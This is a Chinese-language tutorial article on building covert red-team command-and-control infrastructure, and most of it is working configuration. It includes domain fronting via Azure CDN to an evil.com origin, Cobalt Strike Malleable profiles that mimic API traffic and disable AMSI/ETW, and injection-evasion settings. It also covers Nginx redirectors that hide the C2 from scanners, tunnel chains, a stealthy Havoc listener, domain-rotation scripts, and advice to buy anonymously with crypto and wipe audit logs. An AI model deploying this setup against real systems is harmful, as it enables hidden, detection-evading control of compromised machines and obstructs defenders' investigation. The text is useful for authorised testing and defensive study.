首页 / 文章 / 渗透测试

红队C2基础设施搭建:从域名前置到CDN隐藏

一、引言

C2(Command & Control)基础设施是红队行动的神经系统——它决定了控制的隐蔽性、可靠性和弹性。一个成熟的 C2 架构不仅需要让 Beacon 回连到攻击者,更需要在流量层面伪装成正常的互联网通信、抵抗溯源、并在防御方发现后快速切换。本文将从架构设计到实战配置,完整讲述红队 C2 基础设施的搭建艺术。


二、C2 架构设计原则

2.1 分层架构模型

互联网用户(防御方/威胁情报)
        ↓
[CDN 边缘节点] ← ← ← ← 域名解析到 CDN
   ↓      ↓      ↓
[重定向器1] [重定向器2] [重定向器3]  ← 短期 VPS,可随时销毁
        ↓              ↓
    [Team Server]  ← 核心 C2,IP 永不暴露
        ↓
   [操作员控制台]

关键原则

  • 核心 Team Server IP 永不直接暴露给目标环境
  • 重定向器是消耗品——被标记后即时替换
  • 域名与 CDN 提供流量伪装——混入合法 HTTPS 流量

2.2 流量特征要点

特征 要求 实现方式
协议 HTTPS/TLS 1.3 合法 CA 签发的域名证书
SNI 高信誉域名 CDN 边缘节点 SNI 为合法网站
Host Header 合法域名 前端站点 Host 为常见 CDN 域名
JA3/JA4 指纹 拟正常浏览器 修改 C2 客户端的 TLS 指纹
心跳间隔 随机化抖动 加入 ±30% 随机偏差
载荷大小 模拟 API 流量 JSON/Protobuf 格式,带合法 Header

三、域名前置(Domain Fronting)

3.1 原理

域名前置利用 CDN 的架构特点:TLS 连接的目标(SNI)与 HTTP Host 头可以不同。高信誉 CDN 域名通过 TLS 层检测,Host 头将请求路由到攻击者后端。

┌──────────────┐     TLS SNI: a.azureedge.net     ┌──────────────┐
│ Beacon/Agent │ ─────────────────────────────────>│  Azure CDN   │
│              │     Host: evil-backend.azureedge.net  │   (高信誉)    │
└──────────────┘ <─────────────────────────────────└──────┬───────┘
                                                   │
                                            Host 路由到攻击者源站
                                                   │
                                            ┌──────▼───────┐
                                            │  Team Server │
                                            └──────────────┘

3.2 Cobalt Strike 域名前置配置

Step 1:在 Azure CDN / CloudFront 创建 CDN Endpoint

# Azure CLI 创建 CDN 配置文件
az cdn profile create --name cs-cdn-profile --resource-group RG-RedTeam --sku Standard_Microsoft

# 创建 CDN Endpoint,源站指向真正的 Team Server
az cdn endpoint create \
    --name cs-frontend \
    --profile-name cs-cdn-profile \
    --resource-group RG-RedTeam \
    --origin cs-teamserver-redirector.evil.com \
    --origin-host-header cs-teamserver-redirector.evil.com \
    --enable-compression

Step 2:配置 Malleable C2 Profile

<!-- cs-azure-fronting.profile -->
<!-- Cobalt Strike Malleable C2 Profile -->
<profile>
    <!-- 元数据 -->
    <set useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"/>
    <set jitter="30"/>
    <set sleeptime="45000"/>

    <!-- HTTPS Beacon 配置 -->
    <https-certificate>
        <keystore file="certificate.p12" password="RedTeam2024!"/>
    </https-certificate>

    <http-get uri="/api/v2/updates">
        <client>
            <!-- 伪装成 GET API 请求 -->
            <header name="Accept" value="application/json, text/plain, */*"/>
            <header name="Referer" value="https://login.microsoftonline.com/"/>
            <header name="X-Request-ID" value="%RANDOM%"/>
            <!-- 元数据隐藏在 Cookie 中 -->
            <metadata base64url>
                <param name="__cf_bm"/>
            </metadata>
        </client>
        <server>
            <header name="Content-Type" value="application/json"/>
            <header name="Cache-Control" value="no-cache"/>
            <output>
                <json-data>
                    <mask>{"status":"ok","updates":[]}</mask>
                </json-data>
            </output>
        </server>
    </http-get>

    <http-post uri="/api/v2/telemetry">
        <client>
            <header name="Content-Type" value="application/json"/>
            <header name="Accept" value="application/json, text/plain, */*"/>
            <id base64url>
                <param name="session"/>
            </id>
            <output base64url>
                <mask>{"events":[],"metrics":[]}</mask>
            </output>
        </client>
        <server>
            <header name="Content-Type" value="application/json"/>
            <output>
                <json-data>
                    <task/>
                </json-data>
            </output>
        </server>
    </http-post>
</profile>

Step 3:Beacon 连接配置

# Beacon Listener 配置
HTTPS Hosts: a.azureedge.net          # CDN 高信誉域名(SNI)
HTTPS Host (Header): cs-frontend.azureedge.net  # 实际路由到后端(Host 头)
HTTPS Port: 443

注意:2023 年后各大云厂商相继禁用域名前置。AWS CloudFront 已于 2024 年彻底封禁。当前推荐使用 CDN 自定义域名 + 合法证书的方式替代。


四、CDN 隐藏架构

4.1 Cloudflare + 自定义域名的现代方案

目标主机 → Cloudflare CDN(合法 SNI)→ Nginx 重定向器 → Team Server
                ↑
         SNI: api.example.com
         Host: api.example.com
         真实 TLS 证书

Nginx 重定向器配置

# /etc/nginx/sites-available/c2-redirector

# 1. 仅允许来自 Cloudflare IP 的请求
geo $cloudflare_whitelist {
    default 0;
    # Cloudflare IPv4 Ranges
    173.245.48.0/20 1;
    103.21.244.0/22 1;
    103.22.200.0/22 1;
    103.31.4.0/22 1;
    141.101.64.0/18 1;
    108.162.192.0/18 1;
    190.93.240.0/20 1;
    188.114.96.0/20 1;
    197.234.240.0/22 1;
    198.41.128.0/17 1;
    # Cloudflare IPv6 Ranges
    2400:cb00::/32 1;
    2606:4700::/32 1;
    2803:f800::/32 1;
    2405:b500::/32 1;
    2405:8100::/32 1;
    2a06:98c0::/29 1;
    2c0f:f248::/32 1;
}

# 2. 过滤 User-Agent(只允许预期 Beacon UA)
map $http_user_agent $is_beacon {
    default 0;
    "~^Mozilla/5.0.*Chrome/120" 1;
}

server {
    listen 443 ssl http2;
    server_name api.example.com;

    # TLS 配置
    ssl_certificate     /etc/letsencrypt/live/api.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/api.example.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    
    # 3. 非 Cloudflare IP → 重定向到合法网站
    if ($cloudflare_whitelist != 1) {
        return 302 https://www.microsoft.com/;
    }

    # 4. 非预期 User-Agent → 返回合法前端页面
    if ($is_beacon != 1) {
        root /var/www/html/legit-site;
        index index.html;
        location / {
            try_files $uri $uri/ =404;
        }
    }

    # 5. C2 流量反代到 Team Server
    location / {
        proxy_pass https://10.10.10.100:443;  # Team Server 内网 IP(WireGuard)
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # 限制请求速率,防止扫描器/爬虫
        limit_req zone=c2_rate burst=5 nodelay;
        limit_req_status 429;
    }
}

# 速率限制
limit_req_zone $binary_remote_addr zone=c2_rate:10m rate=1r/s;

4.2 合法前端伪装

<!-- /var/www/html/legit-site/index.html -->
<!-- 伪装成合法的技术博客或 API 文档 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>API Documentation - Example Corp</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@5/swagger-ui.css">
</head>
<body>
    <div id="swagger-ui"></div>
    <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@5/swagger-ui-bundle.js"></script>
    <script>
        SwaggerUIBundle({
            url: "/api-spec.json",
            dom_id: "#swagger-ui",
            presets: [SwaggerUIBundle.presets.apis],
            layout: "StandaloneLayout"
        });
    </script>
</body>
</html>

五、多重重定向器链

5.1 架构设计

Beacon
  ↓
[Cloudflare CDN] → 全球边缘节点,真实 IP 隐藏
  ↓
[重定向器 Tier 1]  → $5/月 VPS (DigitalOcean/Akamai/Linode)
  ↓ (通过 SOCKS5 或 WireGuard 隧道)
[重定向器 Tier 2]  → 另一家云厂商 VPS (Vultr/OVH)
  ↓ (WireGuard 隧道)
[Team Server]      → 物理隔离或隐蔽 VPS,从不直接对外暴露

5.2 Tier 1 重定向器配置

#!/bin/bash
# Tier 1 Redirector: 反向 SOCKS5 隧道

# 在 Team Server 上开启 SOCKS5
# vi /etc/danted.conf
# internal: 10.9.0.1 port = 1080
# external: wg0

# Tier 1 重定向器:启动反向隧道到 Team Server
ssh -N -R 443:localhost:443 \
    -o ServerAliveInterval=30 \
    -o StrictHostKeyChecking=no \
    -i /root/.ssh/redirector_key \
    teamserver@10.9.0.1

5.3 WireGuard 隧道层

# /etc/wireguard/wg-redirector.conf
# Tier 2 Redirector 配置
[Interface]
PrivateKey = <Tier2_PrivateKey>
Address = 10.9.0.2/24
ListenPort = 51820

# 转发规则
PostUp = iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.9.0.1:443
PostUp = iptables -A FORWARD -p tcp -d 10.9.0.1 --dport 443 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o wg-redirector -j MASQUERADE

[Peer]
# Team Server
PublicKey = <TeamServer_PublicKey>
AllowedIPs = 10.9.0.1/32
Endpoint = <TeamServer_Public_IP>:51820
PersistentKeepalive = 25

六、Cobalt Strike 实战部署

6.1 Team Server 加固

#!/bin/bash
# Team Server 安全加固脚本
# 在 Ubuntu 22.04 LTS 上执行

# 1. 更新与基础加固
apt update && apt upgrade -y
apt install -y ufw fail2ban auditd

# 2. 防火墙 — 仅允许 WireGuard 和 SSH
ufw default deny incoming
ufw default deny outgoing
ufw allow in on wg0 from 10.9.0.0/24 to any port 50050 proto tcp  # CS 控制端口
ufw allow out on wg0 to any
ufw allow in on eth0 from <操作员固定IP> to any port 22 proto tcp   # SSH
ufw --force enable

# 3. SSH 加固
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
systemctl restart sshd

# 4. 安装 Java 并限制
apt install -y openjdk-11-jre-headless

# 5. 创建专用用户
useradd -m -s /bin/bash cstrike
# 将 Cobalt Strike 放在 /home/cstrike/cobaltstrike/

# 6. 内存限制(防止 OOM 被探测)
echo "cstrike soft memlock 4096" >> /etc/security/limits.conf
echo "cstrike hard memlock 4096" >> /etc/security/limits.conf

6.2 启动 Team Server

#!/bin/bash
# 启动 Team Server(生产环境)
cd /home/cstrike/cobaltstrike

# 环境变量
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export PATH=$JAVA_HOME/bin:$PATH

# 使用自定义 Malleable C2 Profile 启动
./teamserver \
    10.9.0.1 \
    "StrongP@ssw0rd!2024" \
    ./profiles/cs-azure-fronting.profile \
    ./profiles/evasion.profile &

# 验证启动
sleep 5
netstat -tlnp | grep 50050

6.3 Malleable C2 高级 Profile

<!-- evasion.profile — 规避检测的高级配置 -->
<profile>
    <!-- Stage 配置 -->
    <stage>
        <set userwx="false"/>
        <set compile_time="2024-01-15 09:30:00"/>
        <set stomppe="true"/>
        <set obfuscate="true"/>
        <set smartinject="true"/>
        <set cleanup="true"/>
        <set module_x64="xpsservices.dll"/>
    </stage>

    <!-- 进程注入配置 -->
    <post-ex>
        <set smartinject="true"/>
        <set amsi_disable="true"/>
        <set etw_disable="true"/>
        <pipename comes_from="spoolss" goes_to="spoolss"/>
    </post-ex>

    <!-- 内存分配特征 -->
    <allocator>
        <set type="VirtualAlloc"/>
        <set clear="true"/>
    </allocator>

    <!-- 代码执行特征 -->
    <execute>
        <set blockdlls="true"/>
        <set spawnto_x86="%windir%\\syswow64\\dllhost.exe"/>
        <set spawnto_x64="%windir%\\sysnative\\dllhost.exe"/>
    </execute>

    <!-- 进程注入变换 -->
    <process-inject>
        <inject-options>
            <option value="startrwx"/>
            <option value="avoidshookdlls"/>
        </inject-options>
        <transform-x86>
            <prepend>\x90\x90\x90\x90</prepend>
        </transform-x86>
        <transform-x64>
            <prepend>\x90\x90\x90\x90</prepend>
        </transform-x64>
    </process-inject>
</profile>

七、Havoc C2 配置

7.1 Havoc 监听器配置

# Havoc 是开源 C2 替代方案,支持现代规避技术
# ~/.havoc/profiles/demon-default.yaotl

Teamserver:
  Host: 10.9.0.1
  Port: 40056
  Password: "StrongP@ssw0rd!2024"

Listeners:
  - Name: HTTPS-CDN
    Type: HTTP
    Protocol: Https
    Hosts:
      - api.example.com        # CDN 自定义域名
    Port: 443
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    Headers:
      - "Accept: application/json"
      - "Cache-Control: no-cache"
    Uris:
      - "/api/v2/status"
      - "/api/v2/config"
      - "/api/v2/metrics"
    KillDate: "2026-12-31 23:59:59"

Demon:
  Sleep: 45
  SleepJitter: 15
  IndirectSyscalls: true
  SleepTechnique: "WaitableTimer"
  StackSpoof: true
  Obfuscate: true
  AmsiEtwPatching: true

7.2 Havoc Team Server 部署

#!/bin/bash
# Havoc C2 部署脚本

# 1. 克隆并编译
git clone https://github.com/HavocFramework/Havoc.git /opt/Havoc
cd /opt/Havoc

# 2. 安装依赖
apt install -y build-essential cmake qtbase5-dev libssl-dev libboost-all-dev

# 3. 编译 Team Server
cd teamserver
make

# 4. 编译客户端
cd ../client
make

# 5. 启动 Team Server
cd /opt/Havoc
./havoc server --profile ./profiles/havoc-c2.yaotl &

# 6. 防火墙规则
ufw allow in on wg0 from 10.9.0.0/24 to any port 40056 proto tcp

八、HTTPS 证书管理

8.1 使用 Let’s Encrypt 获取合法证书

#!/bin/bash
# 获取通配符证书(DNS 验证,无需开放 80 端口)

# 安装 certbot
apt install -y certbot

# 通配符证书 — DNS-01 验证(需要 DNS API 权限)
certbot certonly \
    --manual \
    --preferred-challenges dns \
    --agree-tos \
    --email admin@example.com \
    -d "*.api.example.com" \
    -d "api.example.com"

# 手动添加 TXT 记录 _acme-challenge.api.example.com

# 证书位置
# 证书: /etc/letsencrypt/live/api.example.com/fullchain.pem
# 私钥: /etc/letsencrypt/live/api.example.com/privkey.pem

# 自动续期
echo "0 3 * * * root certbot renew --quiet && systemctl reload nginx" > /etc/cron.d/certbot

8.2 证书指纹注意事项

# 检查 TLS 证书透明度日志
# 使用 crt.sh 查询证书是否被公开记录
# https://crt.sh/?q=%.api.example.com

# 防护措施:
# 1. 使用 CA 不记录 CT Log(Let's Encrypt 记录,需评估风险)
# 2. 购买允许关闭 CT Log 的商业证书
# 3. 部署 CAA DNS 记录限制可签发 CA
example.com. CAA 0 issue "letsencrypt.org"
example.com. CAA 0 issuewild "letsencrypt.org"

九、运维与切换策略

9.1 域名轮换策略

#!/bin/bash
# C2 域名快速切换脚本
# 场景:当前域名被标记,需要切换到备用域名

OLD_DOMAIN="api.example.com"
NEW_DOMAIN="cdn.trustedplatform.io"

# 1. 获取新证书
certbot certonly --dns-cloudflare --agree-tos \
    --email admin@trustedplatform.io \
    -d "$NEW_DOMAIN"

# 2. 更新 Nginx
sed -i "s/$OLD_DOMAIN/$NEW_DOMAIN/g" /etc/nginx/sites-available/c2-redirector
nginx -t && systemctl reload nginx

# 3. 更新 Cobalt Strike Beacon(通过已有 Beacon 下发)
# 在 CS 客户端中更新 Listener Host,新 Beacon 将自动使用新域名

# 4. 更新 DNS 记录
# Cloudflare API 更新 A 记录指向新的 CDN Endpoint
curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/dns_records/$RECORD_ID" \
     -H "Authorization: Bearer $CF_TOKEN" \
     -H "Content-Type: application/json" \
     --data "{\"type\":\"A\",\"name\":\"$NEW_DOMAIN\",\"content\":\"$CDN_IP\",\"ttl\":120,\"proxied\":true}"

9.2 监控与健康检查

#!/usr/bin/env python3
"""C2 基础设施监控"""
import requests
import smtplib
from datetime import datetime

CDN_DOMAIN = "api.example.com"
TEAM_SERVER = "10.9.0.1:50050"
ALERT_EMAIL = "operator@proton.me"

def check_cdn_fronting():
    """检查 CDN 前端是否正常"""
    try:
        resp = requests.get(
            f"https://{CDN_DOMAIN}/api/v2/status",
            headers={"User-Agent": "Mozilla/5.0 (...)"},
            timeout=10
        )
        return resp.status_code == 200
    except Exception as e:
        print(f"[!] CDN check failed: {e}")
        return False

def check_team_server():
    """测试 Team Server 连接"""
    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect(("10.9.0.1", 50050))
        s.close()
        return True
    except Exception:
        return False

if __name__ == "__main__":
    issues = []
    if not check_cdn_fronting():
        issues.append("CDN Frontend unreachable")
    if not check_team_server():
        issues.append("Team Server unreachable")
    
    if issues:
        alert = f"[{datetime.now()}] C2 Infrastructure Alert:\\n" + "\\n".join(issues)
        print(alert)
        # 发送告警(Telegram/Slack/Email)

十、OPSEC 注意事项

10.1 禁止事项

✗ 不要在 C2 服务器上使用真实身份注册域名
✗ 不要从 C2 服务器直接打开浏览器或安装 GUI
✗ 不要在 C2 服务器上留存其他项目的文件
✗ 不要混用 C2 服务器做渗透测试以外的任何事
✗ 不要使用相同 TLS 证书在不同行动中
✗ 不要在 TLS 证书中暴露真实信息(组织名、邮箱)

10.2 推荐做法

✓ 使用加密货币购买 VPS/域名(Njalla、njal.la)
✓ 所有操作通过 VPN/代理,不与真实 IP 关联
✓ 重定向器按行动周期销毁重建(immutable infrastructure)
✓ 使用 WireGuard 而非 IPSec(更轻量、更难指纹)
✓ 审计日志定期清理、安全删除
✓ 使用 Terraform/Ansible 实现基础设施即代码(IaC),一键重建

十一、总结

一个健壮的 C2 基础设施如同冰山——防御方只能看到水面上的一角(CDN 域名 + 合法 HTTPS 流量),而真正的控制核心深藏于多层重定向和隧道之下。关键要点:

  1. 分层解耦——Team Server → 重定向器 → CDN,每一层可独立替换
  2. 流量伪装——Malleable C2 Profile 将 C2 流量注入合法 API 模式
  3. 证书管理——使用合法 CA 证书,但控制 CT Log 暴露
  4. 快速切换——域名/证书/重定向器轮换自动化,分钟级完成
  5. 干净 OPSEC——不留溯源线索,行动结束后全量销毁

基础设施搭建没有银弹——防御水平与日俱增,红队 C2 也需要像 APT 一样持续演进。